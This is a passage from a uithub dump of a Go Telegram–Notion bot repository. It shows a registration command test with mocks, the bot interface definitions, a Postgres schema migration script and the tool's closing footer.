"github.com/OvyFlash/telegram-bot-api" "github.com/notion-echo/adapters/db" "github.com/notion-echo/adapters/ent" ) func TestRegisterCommandExecute(t *testing.T) { type fields struct { update *tgbotapi.Update bot *MockBot } tests := []struct { name string fields fields wantUsers *ent.User err bool }{ { "register user", fields{ update: update(withMessage("/register"), withId(1)), bot: bot(withUserRepo(&db.UserRepoMock{ Db: map[int]*ent.User{ 1: { ID: 1, StateToken: "token", DefaultPage: "test", }, }, })), }, &ent.User{ ID: 1, }, false, }, { "error registering user", fields{ update: update(withMessage("/register"), withId(1)), bot: bot(withUserRepo(&db.UserRepoMock{ Err: errors.New(""), })), }, &ent.User{ ID: 1, }, false, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { os.Setenv("OAUTH_URL", "localhost") b := tt.fields.bot ec := NewRegisterCommand(b, func() (string, error) { return "stateToken", nil }) ec(context.Background(), tt.fields.update) if (b.Err != nil) != tt.err { t.Errorf("Bot.Execute() error = %v", b.Err) } }) } } ``` ## /bot/types/types.go ```go path="/bot/types/types.go" package types import ( "context" "github.com/jomei/notionapi" "github.com/notion-echo/adapters/db" "github.com/notion-echo/adapters/r2" "github.com/sirupsen/logrus" tgbotapi "github.com/OvyFlash/telegram-bot-api" ) type Command func(ctx context.Context, update *tgbotapi.Update) type ICommand interface { Execute(ctx context.Context, update *tgbotapi.Update) } // Getters and Setters methods Bot instances type IBot interface { Start(ctx context.Context) SendMessage(msg string, chatId int, formatMarkdown bool, escape bool) error SendButtonWithURL(chatId int64, buttonText, url, msgTxt string) error SendButtonWithData(chatId int64, buttonText string, pages []*notionapi.Page) error GetHelpMessage() string SetTelegramClient(bot *tgbotapi.BotAPI) SetR2Client(r2 r2.R2Interface) GetTelegramClient() *tgbotapi.BotAPI SetNotionUser(token string) SetNotionClient(token string, notionToken string) GetNotionClient(userId string) string SetUserRepo(db db.UserRepoInterface) GetUserRepo() db.UserRepoInterface Logger() *logrus.Logger GetUserState(userID int) string SetUserState(userID int, msg string) DeleteUserState(userID int) } ``` ## /cmd/migrate.go ```go path="/cmd/migrate.go" package main import ( "context" "log" "os" "github.com/notion-echo/adapters/ent" "github.com/notion-echo/adapters/ent/migrate" _ "github.com/lib/pq" ) func main() { client, err := ent.Open("postgres", os.Getenv("DATABASE_URL")) if err != nil { log.Fatalf("failed opening connection to postgres: %v", err) } defer client.Close() ctx := context.Background() if err := client.Schema.Create(ctx, migrate.WithGlobalUniqueID(true)); err != nil { log.Fatalf("failed creating schema resources: %v", err) } } ``` The content has been capped at 50000 tokens, and files over NaN bytes have been omitted. The user could consider applying other filters to refine the result. The better and more specific the context, the better the LLM can follow instructions. If the context seems verbose, the user can refine the filter using uithub. Thank you for using https://uithub.com - Perfect LLM context for any GitHub repo.